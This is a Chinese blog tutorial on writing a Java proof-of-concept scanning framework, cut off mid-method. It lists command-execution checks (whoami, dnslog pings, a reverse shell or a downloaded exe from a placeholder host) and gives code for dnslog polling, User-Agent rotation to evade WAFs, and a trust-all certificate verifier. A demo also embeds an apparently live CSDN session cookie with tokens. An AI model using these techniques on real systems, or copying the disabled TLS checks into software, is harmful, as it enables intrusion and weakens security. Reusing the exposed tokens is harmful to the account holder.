JAVA-POC框架编写

 

如何验证漏洞

有回显

执行命令,判断返回值

echo djaslnvl
whoami

无回显

DNSLOG

ping xxx.dnslog.cn
缺点

: 目标不出网

创建文件

请求生成的文件 url/xxx/1.txt ,判断是否为200

mkdir 1.txt
缺点

: 需要文件上传后的所在路径

延时(不推荐)

执行一个延迟的命令,通过返回数据包的响应时间来判断是否存在漏洞

缺点

:对目标的系统有危害,会影响目标正常业务.双方可能存在一个网络延时进行干扰

反弹shell

bash/certutil/bitamin/powershell

或者 可以自己服务器上的exe下载下来运行

python -m http.server
下载your-url/xx.exe
执行
缺点

: 目标不出网

POC框架

用java编写poc对比python的优势

  1. python的多线程是假的.而且poc要用到并发,在并发上,go第一,java第二,python差不多排末尾,在多目标时,python跑不过来

    参考知乎:为什么有人说 Python 的多线程是鸡肋呢?

  2. 市面上大多poc都是用java写的,最重要的原因是因为反序列化的利用链必须用java(java反序列化要构建二进制的字节码,必须得用java去构建)

  3. 为什么不用go写,因为我不会(手动狗头)

注意事项

  1. 忽略证书安全性问题

    如果站点证书过期的话,会弹出一个框,导致poc无法验证

image-20220607221858496

  1. 随机ua头

    市面上一些waf是针对ua头进行拦截的 随机UA头

  2. 协议的判断,在参数没有协议的情况下根据tls连接添加协议头

    有时候通过信息收集拿到大量的ip或者域名其中有一些是不存在协议头的,比如http和https的端口分别是80和443,不同协议头的返回结果也不一样.有些网站访问80端口的时候会把你重定向到443端口,这样即使访问http也会跳转成https,但是不正确的协议头很可能导致访问失败

  3. 用户能自己定义请求头,将用户自定义的请求头进行添加

    给用户自定义添加请求头的权限

  4. 判断User-AgentContent-Type两种默认的请求头,如果没有则使用默认请求头

    不同的Content-Type会让服务器有不同的解析方式,导致不会有正确的结果.比如原本Content-Type: application/json(以json的方式解析包),改成Content-Type: application/x-www-form-urlencoded,使服务器以提交表单的格式来解析数据.

  5. 切记设置请求的连接超时时间和读取超时时间,防止特殊情况拖死我们的请求

    在poc同时验证多个网站的时候,有时会出现一些网站不会出现响应值,会一直等待导致请求被拖死

  6. 获取返回结果的请求头

    因为有的Poc判断执行结果的请求头

请求框架

项目结构

App.java用来测试代码

image-20220607221915828

对接dnslog

image-20220607221931753

用burp抓包,点击getrefresh,把包发送到repeat模块

拿到dnslog域名

image-20220607221950952

ping,更新数据

image-20220607222008431

两者存在一个关联性使得get的域名和refresh更新的数据进行对接,请求头中可能作为依据的有?t=xxxUser-AgentPHPSESSID,通过排除法得知,只要PHPSESSID一致,数据就能对接

接下来就是具体实现了

可参考博客: String、StringBuffer和StringBuilder的区别 HttpURLConnection连接 详解

App.java

import Tools.RestTemplate;

public class App {
    public static void main(String[] args) throws InterruptedException {
        dnsLog();
    }

    //对接dnslog
    public static void dnsLog() throws InterruptedException {
        String sessId = String.valueOf(System.currentTimeMillis());
        String domain = "domain";
        String records = "records";
        RestTemplate.getDnsLog(domain, sessId);
        Thread.sleep(10000);
        RestTemplate.getDnsLog(records, sessId);
    }
}

Tools.RestTemplate.java

package Tools;

import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.net.HttpURLConnection;
import java.net.URL;

public class RestTemplate {
    /*
    对接DNSLOG
     */
    public static void getDnsLog(String method, String sessId) {
        // 创建StringBuilder对象,存储返回结果
        StringBuilder res = new StringBuilder();
        // 用来建立连接
        HttpURLConnection connection = null;
        try{
            // 获取dnsLog域名
            // ?getdomain.php 为获取域名; ?getrecords.php 为获取dns解析记录
            URL url = new URL("http://www.dnslog.cn/get"+ method +".php?t="+System.currentTimeMillis());
            //实例化
            connection = (HttpURLConnection) url.openConnection();
            // 设置超时时间
            connection.setConnectTimeout(2000);
            connection.setReadTimeout(2000);
            // 设置为true可以获取响应包
            connection.setDoOutput(true);
            // 设置请求方式
            connection.setRequestMethod("GET");
            //设置headers
            connection.setRequestProperty("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36");
            connection.setRequestProperty("Referer", "http://www.dnslog.cn/");
            // PHPSESSID用来对接数据
            connection.setRequestProperty("Cookie", "PHPSESSID=" + sessId);
            // 建立连接
            connection.connect();
            // 响应码
            String code = connection.getResponseCode() + "";
            if(code.equals("200")){
                // 获取响应的结果
                BufferedReader reader = new BufferedReader(new InputStreamReader(connection.getInputStream(), "utf-8"));
                // 临时变量,存储响应正文
                String line = null;
                // 如果读入的内容不为空
                while((line = reader.readLine()) != null){
                    res.append(line + "\n");
                }
            }
            // 连接断开
            connection.disconnect();
        }catch(Exception e){
            e.printStackTrace();
        }
        // 返回响应结果
        System.out.println(res.toString());
    }
}

补充: 访问DNSLOG可能会超时,最好自己搭一个.

对接个人的dnslog

api和ceye有点类似 目前公开的dnslog服务都被各大安全公司的产品监控内部的检测系统一旦发现有流量指向这些dnslog平台很大概率会发出警报。所以最好建立属于自己的dnslog

介绍

https://github.com/SPuerBRead/Bridge

也可以直接用我的,暗号kradress

这个项目可以直接用docker部署,非常方便,搭建步骤就不写了,GitHub写的很详细了.这里先讲我遇到的几个坑

  1. 服务器要开放53/UDP 端口, DNS是53端口,之前没开放一直解析不了,浪费了1个多种
  2. 在解析的时候发现系统时间不对,进入容器执行命令cp /usr/share/zoneinfo/Asia/Shanghai /etc/localtime,然后重启容器即可

http://xxx.xx/api/dnslog/search?token={apiKey}&keyword={test}

这里的token可以是同来做数据对接的,防止用户的解析记录冲突,和dnslog的cookie作用一样,具体可以看图片

image-20220607222028986

安装依赖

因为要接收json数据,要用到fastjson

pom.xml

<dependencies>
    <dependency>
        <groupId>com.alibaba</groupId>
        <artifactId>fastjson</artifactId>
        <version>1.2.78</version>
    </dependency>
</dependencies>

代码

Tools.RestTemplate.java

代码比较少,很简单,和前面的也差不多,唯一不同点的就是要处理json数据

 //对接我个人DNSlog
    public static boolean RefreshDnslog(String keyword){
        boolean flag = false;
        StringBuilder result = new StringBuilder();
        HttpURLConnection connection = null;
        try {
            URL url = new URL("http://dnslog.kradress.cn/api/dnslog/search?token=&keyword=" + keyword);
            connection = (HttpURLConnection) url.openConnection();
            connection.setConnectTimeout(2000);
            connection.setReadTimeout(2000);
            connection.setDoOutput(true);
            connection.setRequestMethod("GET");
            connection.connect();
            String code = connection.getResponseCode() + "";
            if (code.equals("200")){
               BufferedReader br = new BufferedReader(new InputStreamReader(connection.getInputStream(), "utf-8"));
               String line = null;
               while ((line = br.readLine()) != null){
                   result.append(line + "\n");
               }
            }
            connection.disconnect();
        }catch (Exception e){
            e.printStackTrace();
        }
        // 把接收到的json数据转为数组
        JSONArray jsonArray = JSON.parseArray(result.toString());
        if (jsonArray.size() > 0)
            flag = true;
        return flag;
    }

拿到的json数据

image-20220607222042250

App.java

import Tools.RestTemplate;

import java.util.HashMap;
import java.util.Map;
import java.util.Random;

import static Tools.RestTemplate.ua;

public class App {
    public static void main(String[] args) {
        Bridge();
    }
/*
  ---------------------    以下为方法演示   -----------------------------------------------------------
 */
    // 对接个人dnslog
    public static void Bridge() throws InterruptedException {
        String sessId = String.valueOf(System.currentTimeMillis());
        //手动ping一下测试
        System.out.println(sessId + ".1.dns.kradress.cn");
        Thread.sleep(10000);
        System.out.println(RestTemplate.RefreshDnslog(sessId));
    }

}

image-20220607222054563

随机UA头

主要用来防waf

比较简单就不解释了,直接上代码

App.java

import Tools.RestTemplate;

import java.util.Random;

import static Tools.RestTemplate.ua;

public class App {
    public static void main(String[] args) throws InterruptedException {
        System.out.println(getRandomUA());
    }
}

Tools.RestTemplate.java

    //随机UA头
    public static String[] ua = new String[] {"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36", "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/44.0.2403.155 Safari/537.36", "Mozilla/5.0 (Macintosh; U; PPC Mac OS X; pl-PL; rv:1.0.1) Gecko/20021111 Chimera/0.6", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.1 Safari/537.36", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36", "Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/418.8 (KHTML, like Gecko, Safari) Cheshire/1.0.UNOFFICIAL", "Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.8.1b2) Gecko/20060821 BonEcho/2.0b2 (Debian-1.99+2.0b2+dfsg-1)", "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50", "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50", "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0", "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)", "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)", "Mozilla/5.0 (Windows NT 6.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1", "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36", "Opera/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; en) Presto/2.8.131 Version/11.11", "Opera/9.80 (Windows NT 6.1; U; en) Presto/2.8.131 Version/11.11", "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; The World)", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36", "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; AcooBrowser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)", "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Acoo Browser; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506)", "Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.35; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)", "Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)", "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727; Media Center PC 6.0)", "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 1.0.3705; .NET CLR 1.1.4322)", "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.30)", "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN) AppleWebKit/523.15 (KHTML, like Gecko, Safari/419.3) Arora/0.3 (Change: 287 c9dfb30)", "Mozilla/5.0 (X11; U; Linux; en-US) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3) Arora/0.6", "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2pre) Gecko/20070215 K-Ninja/2.1.1", "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9) Gecko/20080705 Firefox/3.0 Kapiko/3.0", "Mozilla/5.0 (X11; Linux i686; U;) Gecko/20070322 Kazehakase/0.4.5", "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko Fedora/1.9.0.8-1.fc10 Kazehakase/0.5.6", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/535.20 (KHTML, like Gecko) Chrome/19.0.1036.7 Safari/535.20", "Opera/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; fr) Presto/2.9.168 Version/11.52", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.11 TaoBrowser/2.0 Safari/536.11", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.71 Safari/537.1 LBBROWSER", "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; LBBROWSER)", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E; LBBROWSER)", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.84 Safari/535.11 LBBROWSER", "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)", "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; QQBrowser/7.0.3698.400)", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E)", "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; SV1; QQDownload 732; .NET4.0C; .NET4.0E; 360SE)", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E)", "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)", "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1", "Mozilla/5.0 (iPad; U; CPU OS 4_2_1 like Mac OS X; zh-cn) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5", "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b13pre) Gecko/20110307 Firefox/4.0b13pre", "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:16.0) Gecko/20100101 Firefox/16.0", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11", "Mozilla/5.0 (X11; U; Linux x86_64; zh-CN; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10", "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1464.0 Safari/537.36", "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.16 Safari/537.36", "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.3319.102 Safari/537.36", "Mozilla/5.0 (X11; CrOS i686 3912.101.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36", "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36", "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1667.0 Safari/537.36","Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:17.0) Gecko/20100101 Firefox/17.0.6","Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36","Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36", "Mozilla/5.0 (X11; CrOS i686 3912.101.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36"};

    //获取随机ua
    public static String getRandomUA(){
        Random random = new Random();
        return ua[random.nextInt(ua.length)];
    }

忽略证书安全性问题

这块代码有点难懂,直接拿1n7erface老师的代码

Tools.RestTemplate.java

// 忽略证书安全性问题
    static {
        TrustManager[] trustManagers = new TrustManager[]{new X509TrustManager() {
            @Override
            public void checkClientTrusted(X509Certificate[] x509Certificates, String s) throws CertificateException {

            }

            @Override
            public void checkServerTrusted(X509Certificate[] x509Certificates, String s) throws CertificateException {

            }

            @Override
            public X509Certificate[] getAcceptedIssuers() {
                return new X509Certificate[0];
            }
        }};
        try {
            SSLContext sslContext = SSLContext.getInstance("TLS");
            sslContext.init(null,trustManagers,new java.security.SecureRandom());
            HttpsURLConnection.setDefaultSSLSocketFactory(sslContext.getSocketFactory());
        }catch (Exception e){
            e.printStackTrace();
        }
    }
    // Do_NOT_VERIFY 等在添加协议头的时候会用到
    private final static HostnameVerifier Do_NOT_VERIFY = new HostnameVerifier() {
        public boolean verify (String hostname,SSLSession session){return true;}
    };

get请求

代码有点多,分开来讲

Tools.RestTemplate.java

 public static Map<String, Object> GetBody(String uri, Map<String,String> requestProperty){
        boolean isHTTPS = true;
        // 没有协议头的情况
        if(uri.indexOf("https")==-1&&uri.indexOf("http")==-1){
            HttpsURLConnection connection = null;
            try {
                URL url = new URL("https://"+uri);
                connection = (HttpsURLConnection)url.openConnection();
                // 忽略证书安全性
                connection.setHostnameVerifier(Do_NOT_VERIFY);
                connection.setConnectTimeout(2000);
                connection.setReadTimeout(2000);
                // 建立连接
                connection.connect();
            // 协议用错了,不是 https,catch捕获异常
            }catch (Exception e){
                isHTTPS = false;
            }finally {
                // 根据isHTTPS添加协议头
                if(isHTTPS){
                    uri = "https://"+uri;
                }else {
                    uri = "http://" + uri;
                }
                if(connection!=null){
                    connection.disconnect();
                }
            }
        }
        // 返回请求头
        Map<String,Object> responseMap = new HashMap<>();
        // 返回内容
        StringBuilder results  = new StringBuilder();
        HttpURLConnection connection;

        try {
            URL url = new URL(uri);
            // 区分https 和 http 协议的处理
            // 这里的转小写是因为如果拿到的uri本身就带有协议头的情况,有时候协议头可能存在大小写,为了方便java去识别,这里用toLowerCase()去转小写来判断http还是https
            if(url.getProtocol().toLowerCase().equals("https")){
                // 用https的对象去处理请求
                HttpsURLConnection https = (HttpsURLConnection) url.openConnection();
                // 忽略证书安全性问题
                https.setHostnameVerifier(Do_NOT_VERIFY);
                connection = https;
            }else{
                // 用http的对象去处理请求
                connection = (HttpURLConnection) url.openConnection();
            }
            // 判断User-Agent和Content-Type两种默认的请求头,如果没有则使用默认请求头
            if(requestProperty.get("User-Agent") == null)
                // 添加随机UA
                connection.setRequestProperty("User-Agent", getRandomUA());
            if(requestProperty.get("Content-Type") == null)
                // get请求可以以表单的方式提交请求
                connection.setRequestProperty("Content-Type", "application/x-www-form-urlencoded;charset=UTF-8");
            // 把用户自定义的请求头添加到连接
            // 通过map对象的entrySet遍历Map
            for (Map.Entry<String, String> stringStringEntry : requestProperty.entrySet()) {
                connection.setRequestProperty(stringStringEntry.getKey(), stringStringEntry.getValue());
            }
            // 设置超时时间
            connection.setConnectTimeout(2000);
            connection.setReadTimeout(2000);
            // 设置为true可以获取响应包
            connection.setDoOutput(true);
            // 设置请求方式
            connection.setRequestMethod("GET");
            // 建立连接
            connection.connect();

            // 获取状态码
            String code = connection.getResponseCode() + "";
            // 获取响应头
            Map<String, List<String>> responseProperty = connection.getHeaderFields();

            InputStreamReader inputStreamReader = null;
            if (code.equals("200")){
                inputStreamReader = new InputStreamReader(connection.getInputStream(), "utf-8");
            }else{
                // 一些poc验证的状态码不为200,获取错误信息
                inputStreamReader = new InputStreamReader(connection.getErrorStream(), "utf-8");
            }

            // 如果流不为空
            if (inputStreamReader != null){
                BufferedReader br = new BufferedReader(inputStreamReader);
                // 临时变量,存储响应正文
                String line = null;
                // 如果读入的内容不为空
                while((line = br.readLine()) != null){
                    results.append(line + "\n");
                }

                if(inputStreamReader != null)
                    inputStreamReader.close();
                if (br != null)
                    br.close();
                responseMap.put("code", code);
                responseMap.put("content", results.toString());
                responseMap.put("responseProperty", responseProperty);
            }
            connection.disconnect();
        }catch (Exception e){
            e.printStackTrace();
        }
        return responseMap;
    }

判断协议头,没有就默认添加

代码

        boolean isHTTPS = true;
        // 没有协议头的情况
        if(uri.indexOf("https")==-1&&uri.indexOf("http")==-1){
            HttpsURLConnection connection = null;
            try {
                URL url = new URL("https://"+uri);
                connection = (HttpsURLConnection)url.openConnection();
                // 忽略证书安全性
                connection.setHostnameVerifier(Do_NOT_VERIFY);
                connection.setConnectTimeout(2000);
                connection.setReadTimeout(2000);
                // 建立连接
                connection.connect();
            // 协议用错了,不是 https,catch捕获异常
            }catch (Exception e){
                isHTTPS = false;
            }finally {
                // 根据isHTTPS添加协议头
                if(isHTTPS){
                    uri = "https://"+uri;
                }else {
                    uri = "http://" + uri;
                }
                if(connection!=null){
                    connection.disconnect();
                }
            }
        }

这一块的逻辑就是如果在传入的url没有协议头的情况下,默认添加https协议,忽略证书安全性,在建立连接之后,如果这个网站本身不支持https的时候就会抛出异常,isHTTP=false.isHTTPS是用来判断是否为https,如果为ture,给uri添加https协议,否则就添加http协议,最后断开连接.

判断User-Agent和Content-Type两种默认的请求头,如果没有则使用默认请求头

代码

 // 判断User-Agent和Content-Type两种默认的请求头,如果没有则使用默认请求头
if(requestProperty.get("User-Agent") == null)
    // 添加随机UA
    connection.setRequestProperty("User-Agent", getRandomUA());
if(requestProperty.get("Content-Type") == null)
    // get请求可以以表单的方式提交请求
    connection.setRequestProperty("Content-Type", "application/x-www-form-urlencoded;charset=UTF-8");
// 通过map对象的entrySet遍历Map
for (Map.Entry<String, String> stringStringEntry : requestProperty.entrySet()) {
    // 把用户自定义的请求头添加到连接
    connection.setRequestProperty(stringStringEntry.getKey(), stringStringEntry.getValue());
}

这一块很简单,requestProperty是一个map类型的参数,如果用户没有传入User-AgentContent-Type就默认添加到连接里.然后通过map对象的entrySet遍历传入的requestProperty,把用户自定义的请求头添加到连接

演示

注释写的很详细了,来演示一下

这里直接用我csdn的个人主页

import Tools.RestTemplate;

import java.util.HashMap;
import java.util.Map;
import java.util.Random;

import static Tools.RestTemplate.ua;

public class App {
    public static void main(String[] args) throws InterruptedException {
        HashMap<String, String> map = new HashMap<>();
        map.put("Cookie", "uuid_tt_dd=10_20058320180-1650865602246-444100; c_pref=default; c_first_ref=default; c_first_page=https://www.csdn.net/; c_segment=4; hide_login=1; Hm_lvt_6bcd52f51e9b3dce32bec4a3997715ac=1650865601; dc_sid=13fd0f17c6128515f8ea87f8e3b42fbc; dc_session_id=10_1650867500048.187991; SESSION=81b66c3b-4d9d-4ab1-87f5-434fa9924426; c_ref=https://www.csdn.net/; ssxmod_itna=eqmxyD9D0DuDgCDcDl4iu7tirPD5mxvRhRehqTKDsqWDSxGKidDqxBnmCaHo2YH5qfBm8GxP41jGcrh170iPhxfmOCiEWDU4i8DCwxhQ+xem=D5xGoDPxDeDACK0kRxCKD9DWKDF8q03DfMtDFqG0lf6xD0P4WWxBD73DUwdDQqDSGeI4xGjlDiU9DGAlD0tUD7jl+eiDeuPipqGWGTxD0ThCaGKPe1=Op6Xo6Qu=ZQWtVmLbxaFaIutZ8qGml4aPhq8lRTFTfif3IAvtIY4F77GtCA+KiYlxKGxPiG/xfYC4WvGMTBEQeVs3DDihPQiUYYD; ssxmod_itna2=eqmxyD9D0DuDgCDcDl4iu7tirPD5mxvRhRehqqikEKeqDl=WgGDj42F=Tw2dideUaL5ihe5WT20sYqbQ70tQTFq2WmNLhZ5n8bdfn82G+qfm7ehsOA6SX36o4VlkwV7Ty5R0CE/clbSrae0YAbqB0d3xPxeAAiF6AHNRFOSeYb0ZpI8pAGO95kanHWTrKEUZgmPhmpYZ5a5c9HMaTeTEe6WOOUHPYGSRvfUU3b69y2fbekXz5mVmIIikkG1i67qGcfKljNtCOFYgoGqnrhsVZ6SrFfCu1+5fp4XeebQiVujpIWjkaWdpEoP0zemnnwFgK90=EGmnBX8D544tlaE7CoK9IYEKdbvBhD7AexhDBaqx=fi9idSwYfbF+maUmGBqP+XOKubz3O3=Oz3W301ZYx1ifB+WDG2KGxC0lK0hzG=CxCbSbwh2zS=mhl7ShYmcChTRFacbH28iCi+8fFfiPG85bTeSGwRI8OM=Ck=CDQbMD7D4jFPCxz5E7gLsh7GMGqD08DijgcD41NOAYouDxD==; acw_sc__v2=62663d33fddba8ebad82e9e4e1bcb153ce4653f6; UserName=Kracxi; UserInfo=3b05381cc61647d4b6255b0f2b02d583; UserToken=3b05381cc61647d4b6255b0f2b02d583; UserNick=Kradress; AU=A95; UN=Kracxi; BT=1650867445613; p_uid=U010000; Hm_up_6bcd52f51e9b3dce32bec4a3997715ac={\"islogin\":{\"value\":\"1\",\"scope\":1},\"isonline\":{\"value\":\"1\",\"scope\":1},\"isvip\":{\"value\":\"0\",\"scope\":1},\"uid_\":{\"value\":\"Kracxi\",\"scope\":1}}; Hm_ct_6bcd52f51e9b3dce32bec4a3997715ac=6525*1*10_20058320180-1650865602246-444100!5744*1*Kracxi; log_Id_click=5; c_page_id=default; dc_tos=ravtit; log_Id_pv=5; Hm_lpvt_6bcd52f51e9b3dce32bec4a3997715ac=1650867510; log_Id_view=7; c_hasSub=true; csrfToken=hCNJMyGR3VePa101q-KJGhgj");
        getBody("blog.csdn.net/Kracxi?spm=1000.2115.3001.5343", map);
    }

    //发起get请求
    public static void getBody(String uri, Map<String, String> map){
        Map<String, Object> stringObjectMap = RestTemplate.GetBody(uri, map);
        Object code = stringObjectMap.get("code");
        Object content = stringObjectMap.get("content");
        Object responseProperty = stringObjectMap.get("responseProperty");
        System.out.println(code);
        System.out.println(content);
        System.out.println(responseProperty);
    }

}

在不添加协议头的情况下也能正常获取到页面

image-20220607222115510

get请求带参数

和get请求方法基本一致,唯一的变动在URL url = new URL(uri);=>URL url = new URL(uri + "?" + param);

  // GET请求带参数
    public static Map<String, Object> GetBodyParam(String uri, Map<String,String> requestProperty, String param){
        boolean isHTTPS = true;
        // 没有协议头的情况
        if(uri.indexOf("https")==-1&&uri.indexOf("http")==-1){
            HttpsURLConnection connection = null;
            try {
                URL url = new URL("https://"+uri);
                connection = (HttpsURLConnection)url.openConnection();
                // 忽略证书安全性
                connection.setHostnameVerifier(Do_NOT_VERIFY);
                connection.setConnectTimeout(2000);
                connection.setReadTimeout(2000);
                // 建立连接
                connection.connect();
                // 协议用错了,不是 https,catch捕获异常
            }catch (Exception e){
                isHTTPS = false;
            }finally {
                // 根据isHTTPS添加协议头
                if(isHTTPS){
                    uri = "https://"+uri;
                }else {
                    uri = "http://" + uri;
                }
                if(connection!=null){
                    connection.disconnect();
                }
            }
        }
        // 返回请求头
        Map<String,Object> responseMap = new HashMap<>();
        StringBuilder results  = new StringBuilder();
        HttpURLConnection connection;

        try {
            URL url = new URL(uri + "?" + param);
            // 区分https 和 http 协议的处理
            // 这里的转小写是因为如果拿到的uri本身就带有协议头的情况,有时候协议头可能存在大小写,为了方便java去识别,这里用toLowerCase()去转小写来判断http还是https
            if(url.getProtocol().toLowerCase().equals("https")){
                // 用https的对象去处理请求
                HttpsURLConnection https = (HttpsURLConnection) url.openConnection();
                // 忽略证书安全性问题
                https.setHostnameVerifier(Do_NOT_VERIFY);
                connection = https;
            }else{
                // 用http的对象去处理请求
                connection = (HttpURLConnection) url.openConnection();
            }
            // 判断User-Agent和Content-Type两种默认的请求头,如果没有则使用默认请求头
            if(requestProperty.get("User-Agent") == null)
                // 添加随机UA
                connection.setRequestProperty("User-Agent", getRandomUA());
            if(requestProperty.get("Content-Type") == null)
                // get请求可以以表单的方式提交请求
                connection.setRequestProperty("Content-Type", "application/x-www-form-urlencoded;charset=UTF-8");
            // 把用户自定义的请求头添加到连接
            // 通过map对象的entrySet遍历Map
            for (Map.Entry<String, String> stringStringEntry : requestProperty.entrySet()) {
                connection.setRequestProperty(stringStringEntry.getKey(), stringStringEntry.getValue());
            }
            // 设置超时时间
            connection.setConnectTimeout(2000);
            connection.setReadTimeout(2000);
            // 设置为true可以获取响应包
            connection.setDoOutput(true);
            // 设置请求方式
            connection.setRequestMethod("GET");
            // 建立连接
            connection.connect();

            // 获取状态码
            String code = connection.getResponseCode() + "";
            // 获取响应头
            Map<String, List<String>> responseProperty = connection.getHeaderFields();

            InputStreamReader inputStreamReader = null;
            if (code.equals("200")){
                inputStreamReader = new InputStreamReader(connection.getInputStream(), "utf-8");
            }else{
                // 一些poc验证的状态码不为200,获取错误信息
                inputStreamReader = new InputStreamReader(connection.getErrorStream(), "utf-8");
            }

            // 如果流不为空
            if (inputStreamReader != null){
                BufferedReader br = new BufferedReader(inputStreamReader);
                // 临时变量,存储响应正文
                String line = null;
                // 如果读入的内容不为空
